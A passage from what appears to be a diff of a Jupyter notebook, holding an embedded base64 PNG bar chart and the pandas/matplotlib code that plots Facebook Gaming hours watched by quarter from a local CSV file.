"iVBORw0KGgoAAAANSUhEUgAAAZwAAAEWCAYAAABSaiGHAAAAOXRFWHRTb2Z0d2FyZQBNYXRwbG90bGliIHZlcnNpb24zLjMuMiwgaHR0cHM6Ly9tYXRwbG90bGliLm9yZy8vihELAAAACXBIWXMAAAsTAAALEwEAmpwYAAAsRUlEQVR4nO3df5xVVb3/8ddbQGH8EVpKyBBUTppE/hrTq1ldzPxR+eOq3+KmaErolUpNK+2HWmnXvFdLL1dJExQjygqFiiwiC3+gCIkKIYFIF4QkEX8AkiGf7x97DW4O55w5g3M2MPN+Ph7zmLPXWnvttdecOZ9Za+3ZWxGBmZlZvW23pRtgZmadgwOOmZkVwgHHzMwK4YBjZmaFcMAxM7NCOOCYmVkhHHBsE5IWSfpwHer9g6Sh7V1ve5D0KUm/rVPddenPbY2kKyT9sJ3q+pCkJVXyQ9Je7XEsaz8OONuI9KH1iqRVua89t3S76knSJyU9LGm1pOXp9XmS1N7HioixEfGR9q63o9ua/4jYFkm6TdKVW7od9eKAs235eETslPtauqUbVC+SLgKuB/4LeCvQCzgXOBzYfgs2baslqeuWboNtPkld2qGOrfo94ICzDZO0q6RfSvq7pJXpdWMufzdJoyUtTfl35/I+JmmWpBckPSjpvSXVHyzpz2m/0ZK65/b9jKQFkp6XNDE/0pJ0mKRHJL2Yvh9Woe29JT0u6eIyeW8CvgmcFxE/i4iXI/NoRHwqIv6Ryn1U0qOSXpK0WNIVuTr6p2mVT6e8lZLOlXRwOu4Lkkbkyp8p6f7cdqTy89O+/9syspLURdK1kp6T9LSkz6by1X7Z90/HfVHST2rpz9w5dM2V3TCiSG1+QNJ3JT0PXCFpL0l/TMd5TtJPKvT/7SmoI6lPOs55aXuv1BZVe49Jugo4AhihbMQ9IqUPkDQ51fGspK/kDr29pDGSXpY0R1Jzrk17Svp5OtbTkj6fy+uh7K//lZL+DBxcpa9bHCdpYeqH/5K0naQdUrsG5ureQ9nswe5l+qmLpP9OdSyUNDz/M1HJdKlKpg0l/VTS39LPY6qkAbm82yTdJGmSpNXA2cCngC+l/vxFDf1yhaSfSfqhpJeAM2voly0nIvy1DXwBi4APl6S9GTgZaAB2Bn4K3J3L/xXwE2BXoBvwwZR+ILAcOAToApyR6t8hd6zZQF9gN+AB4MqUNwh4LtWxA/A/wNSUtxuwEjgd6AoMTttvTvl/AIYC/YG/AMMqnOsxwDqgayt98iFgINkfTu8FngVOTHn9gQBGAt2BjwBrgbuBPYA+qQ9a+uRM4P5c3QH8EugJvA34O3BMyjsX+DPQmPr2d6l82fam/pwO7Jn6aC5wbg392b+03pY+zLV5HfC51N89gHHAV1OfdAfeX6FNZwG/SK//HXgK+Ekub0KN77EN7UnbOwPLgIvS8XcGDkl5V6SfwXFk77v/BB5KedsBM4HLyEaw7wAWAken/KuB+1L/9SV7fy6p8t4I4N5U/m1k77eWfrsR+E6u7PktfVGmnnOBJ3n9d+He/M+Ekt/LdI4/LOnnndPP9nvArFzebcCLZKP2lp/XbaTftRr75Qrgn8CJqWyPLf1ZVfV3dks3wF81/qCyN/Yq4IX0dXeZMvsDK9Pr3sB6YNcy5W4CvlWSNo/XP3wXkT4Q0/ZxwFPp9a3ANbm8ndIbvj9ZoJleUu804Mz0+g/Adan+wVXO9TTgbyVpD6bzfgX4QIX9vgd8N73unz4Y+uTyVwCfyG3/HLggvT6TTQPO+3PbdwKXpNe/B87J5X2Y1gPOabnta4CRNfRn/9J62TTg/F/JscYANwONrbyf3pn6czuyoHwO6QMcuB34QoX9NrzHStuTtgcDj1bY9wrgd7ntfYFX0utDypzLpcDo9HohKeCn7WG0HnDy5c8DpuSOtRjYLm3PAP5fhXp+z8a/Cx+hDQGnpK6ead83pe3bgDElZW5j44DTWr9cQfoDZVv48pTatuXEiOiZvk6U1CDp+5L+mobTU4GeyuaC+wLPR8TKMvX0Ay5SNq30gqQXUvn8RQiLc6//msvbM20DEBGryD7I+5Tm5fbtk9v+FPAM8LMq57kCeEt+KikiDouInilvOwBJh0i6N001vEj21+hbSup6Nvf6lTLbO1Vpx99yr9fkyu7Jxv2Tf705dVXqz1qUHvtLgIDpacrqrHI7RcRTZH/A7E82LfZLYKmkvYEPAn8EaOU9Vk5fstFSJaX90D39nPsBe5a8J79CtnYHm/Z56fusnLLv4Yh4GFgNfFDSPsBewMQKdWzOcYEN03FXS3oq9d2ilJV/j7b23mmtX2qpY6vhgLNtuwjYm2zKYhfgAyldZG/C3ST1LLPfYuCqXPDqGRENETEuV6Zv7vXbgJYLFJaS/RJkB5J2JJt2eaY0L7fvM7ntK8imkH5U5UNrGvAP4IQK+S1+RPZB0Tci3kT2l3q7X8FWxjKy6bQWfSsVrEG1/lydkhty5d9asv9Gt3uPiL9FxGciYk+yUcuNqnx58B+BU4DtI+KZtD2EbJpwVipT7T22yfHJ3lvvrHC8ahYDT5e8J3eOiONS/jI2fU+2ptJ7GLJR3Glko/KfRcTaCnW0dtzVVP75/DvZe/jDwJvIRqyw8Xu0tP/K9We1fim3z1bLAWfbtjPZX+kvSNoNuLwlIyKWAb8m+8DZVVI3SS0fFrcA56YRgiTtqGwBfudc3cMlNaZ6v0K2FgTZh/ynJe0vaQfg28DDEbEImAS8S9K/S+oq6RNk0ya/zNX7T+BUYEfgDkmbvAcj4gXgG6ntp0jaKS347p/2y5//8xGxVtL7yH7Bi3AncL6yxfaewJffQF0V+zMi/k4WeE5Lfy2fRSsf5pJO1esXjqwk+zB6rULxPwKfJRu1QDY99jmyqcWWfSq+x5JnydYVWvwSeKukC9IC/c6SDqnW5mQ68JKkL6cLBLpIeo+klosD7gQuTe/lxtTO1nwxle9Ltk6Tv4DiDuAksqAzpkoddwKfT78LuwKXlOTPAj6Zfr+ayQJ4i53J/nBaQRaUvl1Dm0v7s7V+2aY44Gzbvke2UPwc8BBwT0n+6WQf8E+SLZBfABARM4DPACPIPpQWsOnVLT8Cfks2d74QuDLtOwX4Otn6xzKyD8BPprwVwMfI/ipeQTa987GIeC5fcUS8Cvwb2eL9qApB5xrgC6mO5WS/iN8n+3B/MBU7D/impJfJFlXvrNxV7eoWsr55HHiULNCuo/IHe0XV+jP5DPBFsv4cwOvnXsnBwMOSVpGN/s6PiKcrlP0j2YdiS8C5n+yDcWquzPeo/h67HjhF2dVjN0TEy8BRwMfJps/mA//aSptJAe7jZFN8T6fj/YBsZADZHyB/TXm/JQsYrZlAtuA+i+wCmltzx1sC/IksIN9XpY5bgN8Aj6Xy40vyv072M1uZ2vijXN6Y1OZnyC4yeaiGNt8K7Jumz+6uoV+2KUoLT2a2mSQdS3YRQOl0om3FJI0ClkbE19qwT3+yD/5uEbGuXm3rqLbqfxIy2xpJ6kH2V/tvyRZvLwfu2qKNsjZJgePfgAO2cFM6FU+pmbWdyKZPVpJNqc0lm9KzbYCkb5H9H89/VZlutDrwlJqZmRXCIxwzMyuE13Cq2H77t8R739t/SzdjqzR/PjQ1belWbJ3cN+W5XyrraH0zc+bM5yJik3vTOeBU0a1bf2bMmLGlm7FVam4Gd0157pvy3C+VdbS+kVT2jgyeUjMzs0I44JiZWSEccMzMrBAOOGZmVggHHDMzK4QDjpmZFcIBx8zMCuGAY2ZmhfA/flazZg2oiAdIbosegW3zGVAFcN+U536pbCvrmzrdY9MjHDMzK4QDjpmZFcIBx8zMCuGAY2ZmhXDAMTOzQjjgmJlZIeoWcCQ1Spogab6khZJGSNqhpMzbJK2SdHGFOsZKmidptqRRkrqldEm6QdICSY9LOjCl95V0r6S5kuZIOj9X126SJqf2TJa0a73O3czMNlWXgCNJwHjg7ohoApqAHsA1JUW/C/y6SlVjgX2AgWn/oSn92FRnEzAMuCmlrwMuioh3A4cCwyXtm/IuAaak9kxJ22ZmVpB6jXAGAWsjYjRARLwGXAgMkbQTgKQTgYXAnEqVRMSkSIDpQGPKOgEYk7IeAnpK6h0RyyLiT2nfl4G5QJ/cPren17cDJ7bXyZqZWevqFXAGADPzCRHxErAI2EvSjsCXgW/UUlmaSjsduCcl9QEW54os4fXA0rJPf+AA4OGU1CsilqW2LAP2qHCsYZJmSJqxjpW1NM/MzGpQr4AjoNy9EVruE/MN4LsRsarG+m4EpkbEfSX15G04XhpF/Ry4IAW6mkXEzRHRHBHNXfEyj5lZe6nXvdTmACfnEyTtAvQC5gGHAKdIugboCayXtDYiRpRWJOlyYHfgnFzyEqBvbrsRWJrKdyMLNmMjYnyuzLMt026SegPL39gpmplZW9RrhDMFaJA0BEBSF+BaYEREvBIRR0RE/4joD3wP+HaFYDMUOBoYHBHrc1kTydaDJOlQ4MUUSATcCsyNiOtKqpsInJFenwFMaK+TNTOz1tUl4KRF/pPIRjHzgRXA+oi4qo1VjSQbFU2TNEvSZSl9EtkFBwuAW4DzUvrhZGs9g1L5WZKOS3lXA0el9hyVts3MrCB1ezxBRCwGjgeQdBgwTtJBEVF6McEVVeoo274U0IaXSb+f8us7RMQK4Mha229mZu2rkOfhRMSDQL8ijmVmZlsn39rGzMwK4YBjZmaFcMAxM7NCOOCYmVkhCrloYJvV0ACry90wwWgGZrhvynLflOd+qayT9I1HOGZmVggHHDMzK4QDjpmZFcIBx8zMCuGLBqpZswZU9k45xiOgg7d0I7ZS7pvy3C+Vlemb6HgXEXiEY2ZmhXDAMTOzQjjgmJlZIRxwzMysEA44ZmZWCAccMzMrRN0CjqRGSRMkzZe0UNIISTukvPflHgH9mKSTKtQxVtI8SbMljZLULaVL0g2SFkh6XNKBKb2vpHslzZU0R9L5ubp2kzQ5tWeypF3rde5mZrapugQcSQLGA3dHRBPQBPQArklFZgPNEbE/cAzwfUnl/idoLLAPMDDtPzSlH5vqbAKGATel9HXARRHxbuBQYLikfVPeJcCU1J4padvMzApSrxHOIGBtRIwGiIjXgAuBIZJ2iog1EbEule0OlP0Pp4iYFAkwHWhMWScAY1LWQ0BPSb0jYllE/Cnt+zIwF+iT2+f29Pp24MR2PF8zM2tFvQLOAGBmPiEiXgIWAXsBSDpE0hzgCeDcXADaRJpKOx24JyX1ARbniizh9cDSsk9/4ADg4ZTUKyKWpbYsA/aocKxhkmZImrGOla2eqJmZ1aZeAUeUH7VsuE9MRDwcEQOAg4FLJXWvUt+NwNSIuK+0npwNx5O0E/Bz4IIU6GoWETdHRHNENHfFyzxmZu2lXgFnDtkjhTaQtAvQC5iXT4+IucBq4D3lKpJ0ObA78IVc8hKgb267EViayncjCzZjI2J8rsyzknqnMr2B5W0+KzMz22z1CjhTgAZJQwAkdQGuBUZExCuS3t5ykYCkfsDeZNNtG5E0FDgaGBwR63NZE8nWgyTpUODFiFiWLla4FZgbEdeVVDcROCO9PgOY0E7namZmNahLwEmL/CcBp0iaD6wA1kfEVanI+4HHJM0C7gLOi4jnylQ1kmxUNC1dQn1ZSp8ELAQWALcA56X0w8nWegblLrs+LuVdDRyV2nNU2jYzs4LU7fEEEbEYOB5A0mHAOEkHRcTMiLgDuKOGOsq2LwW04WXS76f8+g4RsQI4svYzMDOz9lTI83Ai4kGgXxHHMjOzrZNvbWNmZoVwwDEzs0I44JiZWSEKWcPZZjU0wOqO91zxdtEMzHDflOW+Kc/9Ulkn6RuPcMzMrBAOOGZmVggHHDMzK4QDjpmZFcIXDVSzZg2o7I0LjEdAB2/pRmyl3DfluV8qa0PfxLZ7cYFHOGZmVggHHDMzK4QDjpmZFcIBx8zMCuGAY2ZmhXDAMTOzQtQt4EhqlDRB0nxJCyWNkLRDyjtK0kxJT6TvgyrUMVbSPEmzJY2S1C2lS9INkhZIelzSgSm9r6R7Jc2VNEfS+bm6dpM0ObVnsqRd63XuZma2qboEHEkCxgN3R0QT0AT0AK5JRZ4DPh4RA4EzqPz0z7HAPsDAtP/QlH5sqrMJGAbclNLXARdFxLuBQ4HhkvZNeZcAU1J7pqRtMzMrSL1GOIOAtRExGiAiXgMuBIZI2ikiHo2IpansHKB7y+gnLyImRQJMBxpT1gnAmJT1ENBTUu+IWBYRf0r7vgzMBfrk9rk9vb4dOLGdz9nMzKqoV8AZAMzMJ0TES8AiYK+SsicDj0bEPypVlqbSTgfuSUl9gMW5Ikt4PbC07NMfOAB4OCX1iohlqS3LgD0qHGuYpBmSZqxjZaUmmZlZG9Ur4Agod/+Fje4TI2kA8B3gnFbquxGYGhH3lasn2XA8STsBPwcuSIGuZhFxc0Q0R0RzV7zMY2bWXuoVcOaQPVJoA0m7AL2AeWm7EbgLGBIRT1WqSNLlwO7AF3LJS4C+ue1GYGkq340s2IyNiPG5Ms9K6p3K9AaWb9aZmZnZZqlXwJkCNEgaAiCpC3AtMCIiXpHUE/gVcGlEPFCpEklDgaOBwRGxPpc1kWw9SJIOBV6MiGXpYoVbgbkRcV1JdRPJLlAgfZ/whs/SzMxqVpeAkxb5TwJOkTQfWAGsj4irUpHPkq3lfF3SrPRVbk1lJNmoaFoqc1lKnwQsBBYAtwDnpfTDydZ6BuXqPS7lXQ0cldpzVNo2M7OC1O3xBBGxGDgeQNJhwDhJB0XEzIi4EriyhjrKti8FtOFl0u+n/PoOEbECOLL2MzAzs/ZUyPNwIuJBoF8RxzIzs62Tb21jZmaFcMAxM7NCOOCYmVkhClnD2WY1NMDqbff54XXVDMxw35TlvinP/VJZJ+kbj3DMzKwQDjhmZlYIBxwzMyuEA46ZmRXCFw1Us2YNqOyNC4xHQAdv6UZspTpo30THX9S2+vIIx8zMCuGAY2ZmhXDAMTOzQjjgmJlZIRxwzMysEK0GHEldJF1YRGPMzKzjajXgRMRrwAltrVhSo6QJkuZLWihphKQdUt6bJd0raZWkEVXqGCtpnqTZkkZJ6pbSJekGSQskPS7pwJTeN9U7V9IcSefn6tpN0uTUnsmSdm3rOZmZ2eardUrtgRQwjpB0YMtXpcKSBIwH7o6IJqAJ6AFck4qsBb4OXNzKcccC+wAD0/5DU/qxqc4mYBhwU0pfB1wUEe8GDgWGS9o35V0CTEntmZK2zcysILX+4+dh6fs3c2kBDKpQfhCwNiJGQzZKStNyf5X01YhYBdwvaa9qB42ISS2vJU0HGtPmCcCY9KjphyT1lNQ7IpYBy9K+L0uaC/QB/pz2+VDa/3bgD8CXWz1zMzNrFzUFnIj41zbWOwCYWVLHS5IWAXsBs9pSWZpKOx1omSLrAyzOFVmS0pbl9ukPHAA8nJJ6pYBERCyTtEeFYw0jGzWxPW9tSzPNzKyKmqbUJPWSdKukX6ftfSWdXW0XshFQufTNcSMwNSLuq1LPhuNJ2gn4OXBBRLzUlgNFxM0R0RwRzV3xMo+ZWXupdQ3nNuA3wJ5p+y/ABVXKzyF7pNAGknYBegHz2tJASZcDuwNfyCUvAfrmthuBpal8N7JgMzYixufKPCupdyrTG1jelnaYmdkbU2vAeUtE3AmsB4iIdcBrVcpPARokDYHs0mrgWmBERLxSa+MkDQWOBgZHxPpc1kRgSLpa7VDgxTRNJuBWYG5EXFdS3UTgjPT6DGBCre0wM7M3rtaAs1rSm0nTVi0f8pUKp8X8k4BTJM0HVgDrI+KqljJpPec64ExJS3JXk+WNJBsVTZM0S9JlKX0SsBBYANwCnJfSDydb6xmUys+SdFzKuxo4KrXnqLRtZmYFqfUqtS+QjRDeKekBsimuU6vtEBGLgeMBJB0GjJN0UETMTPn9WztoRJRtXwpow8uk30+FdaKIWAEc2doxzcysPmoNOHOADwJ7k32gz6MNt8WJiAeBfm1unZmZdRi1Bo1pEbEuIuZExOyI+CcwrZ4NMzOzjqXqCEfSW8n+v6WHpAN4fbpqF6Chzm0zM7MOpLUptaOBM8kuO76W1wPOS8BX6tcsMzPraKoGnIi4XdIdZJcljy2oTWZm1gG1etFARKyXdA7ZjTQ7l4YGWF3uhglGMzDDfVOW+8asrFovGpgs6eJ0+//dWr7q2jIzM+tQar0s+qz0Pf+/LwG8o32bY2ZmHVWtd4t+e70bYmZmHVutIxwkvQfYF+jekhYRY+rRKDMz63hqCjjpjs0fIgs4k8ieuHk/0LEDzpo1oM19okJH9wjo4C3diK1UHfomfBGCbftqvWjgFLL7kP0tIj4N7AfsULdWmZlZh1NrwHklPR5gXXquzXJ8wYCZmbVBrWs4MyT1JHsUwExgFTC9Xo0yM7OOp9ar1FqeNzNS0j3ALhHxeP2aZWZmHU2tFw18oFxaRExt/yaZmVlHVOuU2hdzr7sD7yObWhvU7i0yM7MOqaaLBiLi47mvo4D3AM9W20dSo6QJkuZLWihphKQdSsq8TdIqSRdXqGOspHmSZksaJalbSpekGyQtkPS4pANz+4yStFzS7JK69pM0TdITkn6RLn4wM7OC1PzUzhJLyIJOWZIEjAfujogmoAnoAVxTUvS7wK+rHGcssA8wMO0/NKUfm+psAoYBN+X2uQ04pkxdPwAuiYiBwF1sPGozM7M6q3UN53/I7p0GWZA6AHisyi6DgLURMRogIl6TdCHwV0lfjYhVkk4EFgKrK1USEZNybZhO9lwegBOAMRERwEOSekrqHRHLImKqpP5lqtsbaFlzmgz8Bvh6tfM2M7P2U+sI50lgQfqaBnwpIk6rUn4A2RrPBhHxErAI2EvSjsCXgW/UcvA0lXY6cE9K6gMszhVZktKqmQ0cn16fCvStcKxhkmZImrGOlbU0z8zMalA14EjqJul7wLfInvz5abJpsSNS/gGVduX1EVFpOmSB5rsRsarGdt4ITI2I+0rqyWvt3h9nAcMlzQR2Bl4tVygibo6I5oho7squNTbPzMxa09qU2rVAA9AvIl4GSIvt/y3pJrK1knJ3kp4DnJxPSPv1AuYBhwCnSLoG6Amsl7Q2IkaUVpTu47Y7cE4ueQkbj1AagaXVTiQingQ+kup8F/DRauXNzKx9tRZwjgOa0loJkE2NSfoP4DmyxftypgBXSxoSEWMkdSELXiMi4hXSCAlA0hXAqgrBZihwNHBkurVOi4nAZyX9mCx4vRgRy6qdiKQ9ImK5pO2ArwEjWzl3MzNrR62t4azPB5sWEfEa8PeIeKjcTmmfk8hGMfOBFamuq9rYvpFko6JpkmZJuiylTyK74GAB2e12Wu6EgKRxZOtMe0taIunslDVY0l/I1qOWAqPb2BYzM3sDWhvh/LlllJJPlHQaMLfajhGxmLRIL+kwYJykgyKi9GKCK6rUUbZ9KaANr5A3uEL69cD11dpsZmb101rAGQ6Ml3QW2VVnARxM9j8xJ9V6kIh4EOi3uY00M7NtX9WAExHPAIdIGkR2qbOAX0fElCIaZ2ZmHUetd4v+PfD7OrfFzMw6sM29tY2ZmVmb1Hq36M6poQFW+1nyZTUDM9w3ZblvzMryCMfMzArhgGNmZoVwwDEzs0I44JiZWSF80UA1a9aAyt2Y2uAR0MH1q37TOyqZ2TbOIxwzMyuEA46ZmRXCAcfMzArhgGNmZoVwwDEzs0I44JiZWSHqFnAkNUqaIGm+pIWSRkjaIeW9Lz3Bc5akxySVfbaOpLGS5kmaLWmUpG4pXZJukLRA0uOSDsztM0rSckmzS+raT9I0SU9I+oWkXep17mZmtqm6BBxJAsYDd0dEE9BE9tC2a1KR2UBzROwPHAN8X1K5/wkaC+wDDEz7D03px6Y6m4BhwE25fW5LdZb6AXBJRAwE7gK+uJmnZ2Zmm6FeI5xBwNqIGA0QEa8BFwJDJO0UEWsiYl0q253sSaKbiIhJkQDTgcaUdQIwJmU9BPSU1DvtMxV4vkx1ewNT0+vJwMlv+CzNzKxm9Qo4A8geSb1BRLwELAL2ApB0iKQ5wBPAubkAtIk0lXY6cE9K6gMszhVZktKqmQ0cn16fCvStcKxhkmZImrGOla1UaWZmtapXwBHlRy0b7hMTEQ9HxADgYOBSSd2r1HcjMDUi7iutJ6e1e6GcBQyXNBPYGXi1XKGIuDkimiOiuSu7tlKlmZnVql4BZw7ZY6g2SIv0vYB5+fSImAusBt5TriJJlwO7A1/IJS9h4xFKI7C0WoMi4smI+EhEHASMA56q6UzMzKxd1CvgTAEaJA0BkNQFuBYYERGvSHp7y0UCkvqRra8sKq1E0lDgaGBwRKzPZU0kWw+SpEOBFyNiWbUGSdojfd8O+Bow8g2eo5mZtUFdAk5a5D8JOEXSfGAFsD4irkpF3g88JmkW2RVj50XEc2WqGkk2KpqWLqG+LKVPAhYCC4BbgPNadpA0DpgG7C1piaSzU9ZgSX8BniQbDY1utxM2M7NW1e3xBBGxmLRIL+kwYJykgyJiZkTcAdxRQx1l25cC2vAKeYMrpF8PXF9j883MrJ0V8jyciHgQ6FfEsczMbOvkW9uYmVkhHHDMzKwQDjhmZlaIQtZwtlkNDbC6tf8n7aSagRnuGzOrnUc4ZmZWCAccMzMrhAOOmZkVwgHHzMwK4YsGqlmzBlTuxtSdXPhiATNrO49wzMysEA44ZmZWCAccMzMrhAOOmZkVwgHHzMwK4YBjZmaFqFvAkdQoaYKk+ZIWShohaYeUd5SkmZKeSN8HVahjrKR5kmZLGiWpW0qXpBskLZD0uKQDc/uMkrRc0uySuvaTNC0d8xeSdqnXuZuZ2abqEnAkCRgP3B0RTUAT0AO4JhV5Dvh4RAwEzqDy0z/HAvsAA9P+Q1P6sanOJmAYcFNun9uAY8rU9QPgknTMu4Avbs65mZnZ5qnXCGcQsDYiRgNExGvAhcAQSTtFxKMRsTSVnQN0bxn95EXEpEiA6UBjyjoBGJOyHgJ6Suqd9pkKPF+mTXsDU9PrycDJ7XKmZmZWk3oFnAHAzHxCRLwELAL2Kil7MvBoRPyjUmVpKu104J6U1AdYnCuyJKVVMxs4Pr0+Fehb4VjDJM2QNGMdK1up0szMalWvgCOg3P1PNrpPjKQBwHeAc1qp70ZgakTcV66epLX7rZwFDJc0E9gZeLVcoYi4OSKaI6K5K7u2UqWZmdWqXvdSm0PJlFVapO8FzEvbjWRrKUMi4qlKFUm6HNidjYPSEjYeoTQCS6kiIp4EPpLqfBfw0RrPxczM2kG9RjhTgAZJQwAkdQGuBUZExCuSegK/Ai6NiAcqVSJpKHA0MDgi1ueyJpKtB0nSocCLEbGsWoMk7ZG+bwd8DRi52WdnZmZtVpeAkxb5TwJOkTQfWAGsj4irUpHPkq3lfF3SrPS1R5mqRpKNiqalMpel9EnAQmABcAtwXssOksYB04C9JS2RdHbKGizpL8CTZKOh0e14ymZm1oq6PZ4gIhaTFuklHQaMk3RQRMyMiCuBK2uoo2z7UkAbXiFvcIX064Hra2y+mZm1s0KehxMRDwL9ijiWmZltnXxrGzMzK4QDjpmZFcIBx8zMCuGAY2ZmhSjkooFtVkMDrG7tBgZmZlYLj3DMzKwQDjhmZlYIBxwzMyuEA46ZmRXCFw1Us2YNqNyTEDqY8IURZlZ/HuGYmVkhHHDMzKwQDjhmZlYIBxwzMyuEA46ZmRXCAcfMzApRt4AjqVHSBEnzJS2UNELSDinvzZLulbRK0ogqdYyVNE/SbEmjJHVL6ZJ0g6QFkh6XdGBun1GSlkuaXVLXfpKmSXpC0i8k7VKvczczs03VJeBIEjAeuDsimoAmoAdwTSqyFvg6cHErVY0F9gEGpv2HpvRjU51NwDDgptw+twHHlKnrB8AlETEQuAv4YptOyszM3pB6jXAGAWsjYjRARLwGXAgMkbRTRKyOiPvJAk9FETEpEmA60JiyTgDGpKyHgJ6Seqd9pgLPl6lub2Bqej0ZOPmNnaKZmbVFvQLOAGBmPiEiXgIWAXu1tbI0lXY6cE9K6gMszhVZktKqmQ0cn16fCvStcKxhkmZImrGOlW1tqpmZVVCvgCOg3P1SNvc+MTcCUyPivir1tHZ/lrOA4ZJmAjsDr5YrFBE3R0RzRDR3ZdfNbK6ZmZWq173U5lAyZZUW6XsB89pSkaTLgd2Bc3LJS9h4hNIILK1WT0Q8CXwk1fku4KNtaYeZmb0x9RrhTAEaJA0BkNQFuBYYERGv1FqJpKHA0cDgiFify5pIth4kSYcCL0bEslbq2iN93w74GjCyLSdkZmZvTF0CTlrkPwk4RdJ8YAWwPiKuaikjaRFwHXCmpCWS9i1T1UiyUdE0SbMkXZbSJwELgQXALcB5uXrHAdOAvVO9Z6eswZL+AjxJNhoa3W4nbGZmrarb4wkiYjFpkV7SYcA4SQdFxMyU37+GOsq2LwW04RXyBldIvx64vqbGm5lZuyvkeTgR8SDQr4hjmZnZ1sm3tjEzs0I44JiZWSEccMzMrBCFrOFssxoaYHVr/09qZma18AjHzMwK4YBjZmaFcMAxM7NCOOCYmVkhHHDMzKwQDjhmZlYIBxwzMyuEA46ZmRXCAcfMzAqh7E7/Vo6kl2njE0o7kbcAz23pRmyl3DfluV8q62h90y8idi9N9K1tqpsXEc1buhFbI0kz3DfluW/Kc79U1ln6xlNqZmZWCAccMzMrhANOdTdv6QZsxdw3lblvynO/VNYp+sYXDZiZWSE8wjEzs0I44JiZWSEccMqQdIykeZIWSLpkS7enaJL6SrpX0lxJcySdn9J3kzRZ0vz0fdfcPpem/pon6egt1/r6k9RF0qOSfpm23S+ApJ6SfibpyfTe+Rf3TUbShel3abakcZK6d8a+ccApIakL8L/AscC+wGBJ+27ZVhVuHXBRRLwbOBQYnvrgEmBKRDQBU9I2Ke+TwADgGODG1I8d1fnA3Ny2+yVzPXBPROwD7EfWR52+byT1AT4PNEfEe4AuZOfe6frGAWdT7wMWRMTCiHgV+DFwwhZuU6EiYllE/Cm9fpnsg6MPWT/cnordDpyYXp8A/Dgi/hERTwMLyPqxw5HUCHwU+EEu2f0i7QJ8ALgVICJejYgXcN+06Ar0kNQVaACW0gn7xgFnU32AxbntJSmtU5LUHzgAeBjoFRHLIAtKwB6pWGfqs+8BXwLW59LcL/AO4O/A6DTd+ANJO+K+ISKeAf4b+D9gGfBiRPyWTtg3DjibUpm0TnntuKSdgJ8DF0TES9WKlknrcH0m6WPA8oiYWesuZdI6XL8kXYEDgZsi4gBgNWmKqIJO0zdpbeYE4O3AnsCOkk6rtkuZtA7RNw44m1oC9M1tN5INfzsVSd3Igs3YiBifkp+V1Dvl9waWp/TO0meHA8dLWkQ21TpI0g9xv0B2rksi4uG0/TOyAOS+gQ8DT0fE3yPin8B44DA6Yd844GzqEaBJ0tslbU+2eDdxC7epUJJENhc/NyKuy2VNBM5Ir88AJuTSPylpB0lvB5qA6UW1tygRcWlENEZEf7L3xe8j4jQ6eb8ARMTfgMWS9k5JRwJ/xn0D2VTaoZIa0u/WkWTrop2ub3y36BIRsU7SZ4HfkF1NMioi5mzhZhXtcOB04AlJs1LaV4CrgTslnU32S3QqQETMkXQn2QfMOmB4RLxWeKu3HPdL5nPA2PSH2kLg02R/1HbqvomIhyX9DPgT2bk+SnYrm53oZH3jW9uYmVkhPKVmZmaFcMAxM7NCOOCYmVkhHHDMzKwQDjhmZlYIBxzrMCStKtk+U9KILdWeWkn6kKTDWinTX9LsN3icVa2XqqmeZkk3pNcb+ljSFZIuTq+/KenD7XE86zj8fzhmrZDUpc7/B/EhYBXwYB2P0W4iYgYwo5UylxXUHNuGeIRjnYKkfpKmSHo8fX9bSr9N0im5cqvS9w8peybQj8j+AXZHSb+S9Fh6psknSurfQ9LM9Ho/SZE7xlPpv8w/LunhdHPL30nqlW6Oei5woaRZko5I6XelYz2WG/10kXSLsueq/FZSj1T/OyXdI2mmpPsk7ZPS3y5pmqRHJH2rxn5aJek7qa7fSXqfpD9IWijp+Fzf/LKVejb0q6Qj0zk/IWmUpB1S+iJJ35D0p5TX0u4Ppr6YlfbbuZa229bPAcc6kh65D6pZwDdzeSOAMRHxXmAscEMN9b0P+GpE7Ev2XJKlEbFfeqbJPfmCEbEc6K7sNv1HkI0AjpDUj+yGn2uA+4FD080tfwx8KSIWASOB70bE/hFxX2rbHyNiP7L7kbXc6aIJ+N+IGAC8AJyc0m8GPhcRBwEXAzem9OvJbqZ5MPC3Gs4XYEfgD6mul4ErgaOAk9i4P2siqTtwG/CJiBhINqvyH7kiz0XEgcBNqe2k78MjYn+yvnylrce1rZMDjnUkr6QP7f3Th1V+WudfgB+l13cA76+hvunpeSQATwAfTn/9HxERL5Yp/yDZbYE+AHw7fT8CuC/lNwK/kfQE8EWyB2yVM4jsA5iIeC13rKcjYlZ6PRPor+yO3ocBP01B9vtA71TmcGBc7pxr8SqvB9MnyALfP9Pr/jXWkbd3avdf0vbtZP3SouXGsDNz9T8AXCfp80DPiFi3Gce1rZADjnVWLfd0Wkf6PUg3Vtw+V2b1hsLZB+ZBZB+8/ymp3BrFfWQBph/ZjRj3IwtsU1P+/wAj0l/65wDd29jmf+Rev0Y2WtgOeCEfaNOTWkvPs1b/jNfvd7W+5ZgRsZ7NW/Mtd6v9vJZzajkfIuJqYCjQA3ioZarNtn0OONZZPEh2h2eAT5FNbwEsIgskkD2zpFu5nSXtCayJiB+SPUzrwDLFpgKnAfPTB/TzwHFkf7EDvAl4Jr0+I7ffy0B+nWIKadpJUpc0TVdWek7R05JOTeUlab+U/UDJOefP58lKdbazJ8lGYnul7dOBP1bbQdI7I+KJiPgO2dSkA04H4YBjncXngU9LepzsQ+/8lH4L8EFJ04FDyI1qSgwEpqdpq6+SrW1sJK3HwOsjmvvJRh8r0/YVZFNf9wHP5Xb9BXBSy0UDqW3/mqbeZlJ56q3Fp4CzJT1Gtt7T8kj084Hhkh4hC3YASHoLrY882kVErCW7a/RP0/msJ1uzquaCdGHGY2TrN7+uczOtIL5btFkno+zJpe+IiFounDBrNw44ZmZWCE+pmZlZIRxwzMysEA44ZmZWCAccMzMrhAOOmZkVwgHHzMwK8f8B5I6IBS7Zs3sAAAAASUVORK5CYII=\n", + "text/plain": [ + "
" + ] + }, + "metadata": { + "needs_background": "light" + }, + "output_type": "display_data" + } + ], + "source": [ + "import matplotlib.pyplot as plt\n", + "import pandas as pd\n", + "import numpy as np\n", + "\n", + "stats = pd.read_csv(\"D:\\DataScience\\Facebook Data Analysis\\FB21.csv\", header=0, sep=\",\")\n", + "print(\"Table :\\n\")\n", + "print(stats)\n", + "\n", + "df = pd.DataFrame(stats)\n", + "x = list(df.iloc[:, 0])\n", + "y = list(df.iloc[:, 1])\n", + "\n", + "plt.title(\"Facebook Gaming hours watched by quarter\")\n", + "plt.ylabel(\"Quarter\")\n", + "plt.xlabel(\"Hours watched, millions\")\n", + "plt.grid(axis='x', color='b')\n", + "plt.barh(x,y,color='r')\n", 